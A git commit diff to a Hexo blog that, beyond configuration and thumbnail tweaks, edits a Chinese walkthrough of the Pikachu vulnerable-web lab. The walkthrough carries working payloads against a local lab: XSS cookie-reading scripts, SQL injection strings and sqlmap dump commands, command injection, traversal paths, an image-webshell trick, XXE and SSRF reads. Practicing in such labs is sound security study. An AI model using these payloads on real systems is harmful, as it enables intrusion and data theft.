修改部分旧文章

This commit is contained in:
2025-10-12 23:35:19 +08:00
parent 8e1eb05726
commit 3441c607a5
7 changed files with 58 additions and 54 deletions

View File

@ -364,10 +364,10 @@ comment:
waline: waline:
serverUrl: https://hexo-waline.atdunbg.xyz # Waline server URL. e.g. https://example.example.com serverUrl: https://hexo-waline.atdunbg.xyz # Waline server URL. e.g. https://example.example.com
lang: zh-CN # Waline language. e.g. zh-CN, en-US. See https://waline.js.org/guide/client/i18n.html lang: zh-CN # Waline language. e.g. zh-CN, en-US. See https://waline.js.org/guide/client/i18n.html
emoji: [] # Waline emojis, see https://waline.js.org/guide/features/emoji.html emoji: ["https://unpkg.com/@waline/emojis@1.2.0/bilibili", "https://unpkg.com/@waline/emojis@1.2.0/soul-emoji", "https://unpkg.com/@waline/emojis@1.2.0/qq"] # Waline emojis, see https://waline.js.org/guide/features/emoji.html
recaptchaV3Key: # Google reCAPTCHA v3 key. See https://waline.js.org/reference/client/props.html#recaptchav3key recaptchaV3Key: # Google reCAPTCHA v3 key. See https://waline.js.org/reference/client/props.html#recaptchav3key
turnstileKey: # Turnstile key. See https://waline.js.org/reference/client/props.html#turnstilekey turnstileKey: # Turnstile key. See https://waline.js.org/reference/client/props.html#turnstilekey
reaction: false # Waline reaction. See https://waline.js.org/reference/client/props.html#reaction reaction: true # Waline reaction. See https://waline.js.org/reference/client/props.html#reaction
# Gitalk comment system. See https://github.com/gitalk/gitalk # Gitalk comment system. See https://github.com/gitalk/gitalk
gitalk: gitalk:
clientID: # GitHub Application Client ID clientID: # GitHub Application Client ID

View File

@ -3,6 +3,7 @@ title: C语言-1
date: 2022-11-01 15:40:14 date: 2022-11-01 15:40:14
tags: [C语言, 笔记] tags: [C语言, 笔记]
categories: 笔记 categories: 笔记
thumbnail: "https://t.alcy.cc/fj"
--- ---
## C 简介 ## C 简介

View File

@ -3,6 +3,7 @@ title: C语言-2
date: 2022-11-22 12:12:12 date: 2022-11-22 12:12:12
tags: [C语言, 笔记] tags: [C语言, 笔记]
categories: 笔记 categories: 笔记
thumbnail: "https://t.alcy.cc/fj"
--- ---

View File

@ -3,6 +3,7 @@ title: C语言-3
date: 2022-11-23 20:56:10 date: 2022-11-23 20:56:10
tags: [C语言, 笔记] tags: [C语言, 笔记]
categories: 笔记 categories: 笔记
thumbnail: "https://t.alcy.cc/fj"
--- ---

View File

@ -3,6 +3,7 @@ title: C语言-4
date: 2022-12-01 16:24 date: 2022-12-01 16:24
tags: [C语言, 笔记] tags: [C语言, 笔记]
categories: 笔记 categories: 笔记
thumbnail: "https://t.alcy.cc/fj"
--- ---

View File

@ -3,6 +3,7 @@ title: C语言-5
date: 2022-12-20 20:02 date: 2022-12-20 20:02
tags: [C语言, 笔记] tags: [C语言, 笔记]
categories: 笔记 categories: 笔记
thumbnail: "https://t.alcy.cc/fj"
--- ---
## 打开与关闭文件 ## 打开与关闭文件

View File

@ -6,6 +6,7 @@ categories: Pikachu
thumbnail: "https://hexoimage.pages.dev/file/43665ba95443e49885078.jpg" thumbnail: "https://hexoimage.pages.dev/file/43665ba95443e49885078.jpg"
--- ---
## Pikachu练习记录 ## Pikachu练习记录
## 0x01 Pikachu靶场 ## 0x01 Pikachu靶场
@ -61,24 +62,22 @@ Pikachu是一个带有漏洞的Web应用系统在这里包含了常见的web
![反弹型xss1](https://s1.vika.cn/space/2023/08/12/10c035bdcf644ccb94a0a7a37753a2a2) ![反弹型xss1](https://s1.vika.cn/space/2023/08/12/10c035bdcf644ccb94a0a7a37753a2a2)
``` ```Plaintext
输入框直接上脚本 输入框直接上脚本
raw <script>alert('hello')</script>
<!-- <script>alert('hello')</script> -->
endraw
``` ```
### 反射型xsspost ### 反射型xsspost
``` ```Plaintext
登陆进去后输入框内输入以下内容 登陆进去后输入框内输入以下内容
<!-- <script>alert(document.cookie)</script> --> <script>alert(document.cookie)</script>
``` ```
### 存储型xss ### 存储型xss
``` ```Plaintext
<!-- <script>alert(document.cookie)</script> --> <script>alert(document.cookie)</script>
``` ```
### DOM型xss ### DOM型xss
@ -89,7 +88,7 @@ Pikachu是一个带有漏洞的Web应用系统在这里包含了常见的web
输入下方文本 输入下方文本
``` ```Plaintext
#' onclick=alert('hello')> #' onclick=alert('hello')>
``` ```
@ -97,7 +96,7 @@ Pikachu是一个带有漏洞的Web应用系统在这里包含了常见的web
### DOM型xss-x ### DOM型xss-x
``` ```Plaintext
' onclick=alert('hello')> ' onclick=alert('hello')>
``` ```
@ -107,9 +106,9 @@ Pikachu是一个带有漏洞的Web应用系统在这里包含了常见的web
### xss之盲打 ### xss之盲打
``` ```Plaintext
留言板输入: 留言板输入:
<!-- <script>alert(document.cookie)</script> --> <script>alert(document.cookie)</script>
``` ```
![xss之盲打1](https://s1.vika.cn/space/2023/08/12/d152522ab50d4633aa4104e1caa5f4fe) ![xss之盲打1](https://s1.vika.cn/space/2023/08/12/d152522ab50d4633aa4104e1caa5f4fe)
@ -120,13 +119,13 @@ Pikachu是一个带有漏洞的Web应用系统在这里包含了常见的web
大小写绕过 大小写绕过
``` ```Plaintext
<!-- <ScRipt>alert(1)</ScriPt> --> <ScRipt>alert(1)</ScriPt>
``` ```
### xss之htmlspecialchars ### xss之htmlspecialchars
``` ```Plaintext
' onclick='alert(1)' ' onclick='alert(1)'
' onclick='javascript:alert(document.cookie)' ' onclick='javascript:alert(document.cookie)'
@ -136,7 +135,7 @@ Pikachu是一个带有漏洞的Web应用系统在这里包含了常见的web
js伪协议绕过 js伪协议绕过
``` ```Plaintext
javascript:alert(1) javascript:alert(1)
``` ```
@ -146,10 +145,10 @@ javascript:alert(1)
![xss之js输出1](https://s1.vika.cn/space/2023/08/12/752caaecac864c0b9a9a89f9bae62685) ![xss之js输出1](https://s1.vika.cn/space/2023/08/12/752caaecac864c0b9a9a89f9bae62685)
可以先把前面的<script>进行闭合构造以下payload即可 可以先把前面的\<script\>进行闭合构造以下payload即可
``` ```Plaintext
<!-- </script><script>alert(1)</script> --> </script><script>alert(1)</script>
``` ```
## 0x04 CSRF ## 0x04 CSRF
@ -170,7 +169,7 @@ javascript:alert(1)
![数字型注入1](https://s1.vika.cn/space/2023/08/12/61878eb5117346278df8e6d21d484797) ![数字型注入1](https://s1.vika.cn/space/2023/08/12/61878eb5117346278df8e6d21d484797)
``` ```Plaintext
id=1 id=1
#正常回显 #正常回显
@ -190,7 +189,7 @@ id=1 or 1=1
**2无脑sqlmap** **2无脑sqlmap**
``` ```Plaintext
sqlmap.py -u http://127.0.0.1/vul/sqli/sqli_id.php --data "id=1" --batch -D pikachu -T member --dump sqlmap.py -u http://127.0.0.1/vul/sqli/sqli_id.php --data "id=1" --batch -D pikachu -T member --dump
``` ```
@ -198,7 +197,7 @@ sqlmap.py -u http://127.0.0.1/vul/sqli/sqli_id.php --data "id=1" --batch -D pika
### 字符型注入 ### 字符型注入
``` ```Plaintext
123 123
#正常 #正常
@ -230,7 +229,7 @@ sqlmap.py -u http://127.0.0.1/vul/sqli/sqli_id.php --data "id=1" --batch -D pika
**sqlmap** **sqlmap**
``` ```Plaintext
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T member --batch --dump sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T member --batch --dump
``` ```
@ -240,7 +239,7 @@ sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%
**sqlmap** **sqlmap**
``` ```Plaintext
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" --batch -D pikachu -T member --dump sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" --batch -D pikachu -T member --dump
``` ```
@ -252,13 +251,13 @@ sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%
那就构造以下payload 那就构造以下payload
``` ```Plaintext
123') or 1=1 # 123') or 1=1 #
``` ```
**sqlmap** **sqlmap**
``` ```Plaintext
python sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -D pikachu -T member --dump python sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -D pikachu -T member --dump
``` ```
@ -268,7 +267,7 @@ python sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A
![报错注入1](https://s1.vika.cn/space/2023/08/12/fe555fea57e745c9b9428ea38bb4a2dd) ![报错注入1](https://s1.vika.cn/space/2023/08/12/fe555fea57e745c9b9428ea38bb4a2dd)
``` ```Plaintext
' and extractvalue(1,concat('~',(select database()))) and '1'='1 ' and extractvalue(1,concat('~',(select database()))) and '1'='1
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 ' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
@ -284,7 +283,7 @@ updatexml() 是mysql对xml文档数据进行查询的xpath函数
可以用“+”代替空格 可以用“+”代替空格
``` ```Plaintext
+and+updatexml(1,concat(0x7e,database(),0x7e),1) +and+updatexml(1,concat(0x7e,database(),0x7e),1)
``` ```
@ -300,7 +299,7 @@ updatexml() 是mysql对xml文档数据进行查询的xpath函数
修改如下: 修改如下:
``` ```Plaintext
' and extractvalue(1,concat(0x7e,(database()))) and '1'='1 ' and extractvalue(1,concat(0x7e,(database()))) and '1'='1
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 ' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
@ -318,7 +317,7 @@ updatexml() 是mysql对xml文档数据进行查询的xpath函数
经测试是用 **** 进行闭合的 经测试是用 **** 进行闭合的
``` ```Plaintext
kobe' kobe'
# 未查到username信息 # 未查到username信息
@ -331,7 +330,7 @@ kobe'and length(database())=n#
burp抓包进行爆破数据库名字 burp抓包进行爆破数据库名字
``` ```Plaintext
kobe' and substr(database(),1,1)='a'# kobe' and substr(database(),1,1)='a'#
``` ```
@ -347,7 +346,7 @@ kobe' and substr(database(),1,1)='a'#
**sqlmap** **sqlmap**
``` ```Plaintext
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --batch sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --batch
``` ```
@ -361,7 +360,7 @@ sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%
**sqlmap** **sqlmap**
``` ```Plaintext
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_t.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --batch sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_t.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --batch
``` ```
@ -369,7 +368,7 @@ sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_t.php?name=123&submit=%E6%9F%
引用大佬的链接[https://blog.csdn.net/aa2528877987/article/details/118569895 ](https://blog.csdn.net/aa2528877987/article/details/118569895) 引用大佬的链接[https://blog.csdn.net/aa2528877987/article/details/118569895 ](https://blog.csdn.net/aa2528877987/article/details/118569895)
``` ```Plaintext
宽字节注入原理: 宽字节注入原理:
  GBK 占用两字节   GBK 占用两字节
@ -395,14 +394,14 @@ select * fromcms_user where username = ‘運’ or 1=1 limit 1,1# and passwo
### exec”ping” ### exec”ping”
``` ```Plaintext
127.0.0.1&&dir 127.0.0.1&&dir
#执行完ping指令后同时执行dir指令 #执行完ping指令后同时执行dir指令
``` ```
### exec”eval” ### exec”eval”
``` ```Plaintext
直接输入 phpinfo(); 直接输入 phpinfo();
``` ```
@ -422,7 +421,7 @@ select * fromcms_user where username = ‘運’ or 1=1 limit 1,1# and passwo
### file inclusion(local) ### file inclusion(local)
``` ```Plaintext
..\..\..\Users\sfd\Desktop\demo.txt ..\..\..\Users\sfd\Desktop\demo.txt
#直接访问电脑桌面的文件 #直接访问电脑桌面的文件
``` ```
@ -465,7 +464,7 @@ select * fromcms_user where username = ‘運’ or 1=1 limit 1,1# and passwo
添加了对文件进行判断有没有图片特征的函数直接用cmd命令合成一个图片码即可绕过 添加了对文件进行判断有没有图片特征的函数直接用cmd命令合成一个图片码即可绕过
``` ```Plaintext
copy /b a.png + a.php b.png copy /b a.png + a.php b.png
``` ```
@ -477,13 +476,13 @@ copy /b a.png + a.php b.png
首先以lucy的身份进行登录然后可以看到lucy的信息 首先以lucy的身份进行登录然后可以看到lucy的信息
``` ```Plaintext
http://127.0.0.1/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF http://127.0.0.1/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
``` ```
这时我们直接修改url里的username将其指定为kobe,就可以直接查看kobe的信息 这时我们直接修改url里的username将其指定为kobe,就可以直接查看kobe的信息
``` ```Plaintext
http://127.0.0.1/vul/overpermission/op1/op1_mem.php?username=kobe&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF http://127.0.0.1/vul/overpermission/op1/op1_mem.php?username=kobe&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
``` ```
@ -493,7 +492,7 @@ pikachu用户只有查看权限而admin用户有所有权限
首先登陆admin并添加用户然后可以获得一个url地址 首先登陆admin并添加用户然后可以获得一个url地址
``` ```Plaintext
http://127.0.0.1/vul/overpermission/op2/op2_admin_edit.php http://127.0.0.1/vul/overpermission/op2/op2_admin_edit.php
``` ```
@ -503,7 +502,7 @@ http://127.0.0.1/vul/overpermission/op2/op2_admin_edit.php
### 目录遍历 ### 目录遍历
``` ```Plaintext
../../../../Users/sfd/Desktop/demo.txt ../../../../Users/sfd/Desktop/demo.txt
#访问桌面的一个demo.txt 文件 #访问桌面的一个demo.txt 文件
``` ```
@ -524,7 +523,7 @@ php涉及到序列化的函数有两个分别是serialize()`和`unserialize()
序列化简单来说就是将一个**对象**转化成可以传输的**字符串**,反序列化就是相反的操作 序列化简单来说就是将一个**对象**转化成可以传输的**字符串**,反序列化就是相反的操作
``` ```Plaintext
#举个例子 #举个例子
class S{ class S{
public $test="pikachu"; public $test="pikachu";
@ -549,14 +548,14 @@ class S{
反序列化 反序列化
``` ```Plaintext
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}"); $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu echo $u->test; //得到的结果为pikachu
``` ```
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题 序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
``` ```Plaintext
常见的几个魔法函数: 常见的几个魔法函数:
__construct()当一个对象创建时被调用 __construct()当一个对象创建时被调用
@ -589,7 +588,7 @@ $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
前端将`$_POST['xml']`传递给变量`$xml,` 由于后台没有对此变量进行安全判断就直接使用`simplexml_load_string`函数进行xml解析, 从而导致xxe漏洞 前端将`$_POST['xml']`传递给变量`$xml,` 由于后台没有对此变量进行安全判断就直接使用`simplexml_load_string`函数进行xml解析, 从而导致xxe漏洞
``` ```Plaintext
<!-- 打印hello world --> <!-- 打印hello world -->
<?xml version="1.0" encoding="UTF-8" ?> <?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note [ <!DOCTYPE note [
@ -612,7 +611,7 @@ $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
修改url=后面的参数 修改url=后面的参数
``` ```Plaintext
http://127.0.0.1/vul/urlredirect/urlredirect.php?url=https://baidu.com http://127.0.0.1/vul/urlredirect/urlredirect.php?url=https://baidu.com
``` ```
@ -627,7 +626,7 @@ SSRF漏洞常用协议
通过url参数直接访问内部资源或者跳转到其他服务器页面 通过url参数直接访问内部资源或者跳转到其他服务器页面
``` ```Plaintext
HTTP(s):最常用到的一种协议可以用来验证是否存在SSRF漏洞探测端口以及服务。 HTTP(s):最常用到的一种协议可以用来验证是否存在SSRF漏洞探测端口以及服务。
file本地文件传输协议可以用来读取任意系统文件 file本地文件传输协议可以用来读取任意系统文件
dict:字典服务器协议dict是基于查询相应的TCP协议服务器监听端口2628。在SSRF漏洞中可用于探测端口以及攻击内网应用 dict:字典服务器协议dict是基于查询相应的TCP协议服务器监听端口2628。在SSRF漏洞中可用于探测端口以及攻击内网应用
@ -636,7 +635,7 @@ ghoper:互联网上使用的分布型的文件搜集获取网络协议,出现
例: 例:
``` ```Plaintext
//访问内网链接资源 //访问内网链接资源
http://127.0.0.1/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info2.php http://127.0.0.1/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info2.php
@ -653,14 +652,14 @@ dict://192.168.1.66:80
利用file_get_content(“path”)利用传递的参数通过file参数访问内部资源或者跳转到其他服务器页面 利用file_get_content(“path”)利用传递的参数通过file参数访问内部资源或者跳转到其他服务器页面
``` ```Plaintext
//直接读取内部文件 //直接读取内部文件
http://127.0.0.1/vul/ssrf/ssrf_fgc.php?file=D:/a.txt http://127.0.0.1/vul/ssrf/ssrf_fgc.php?file=D:/a.txt
``` ```
php伪协议读取文件 php伪协议读取文件
``` ```Plaintext
php://filter/read=convert.base64-encode/resource=D:/a.txt php://filter/read=convert.base64-encode/resource=D:/a.txt
``` ```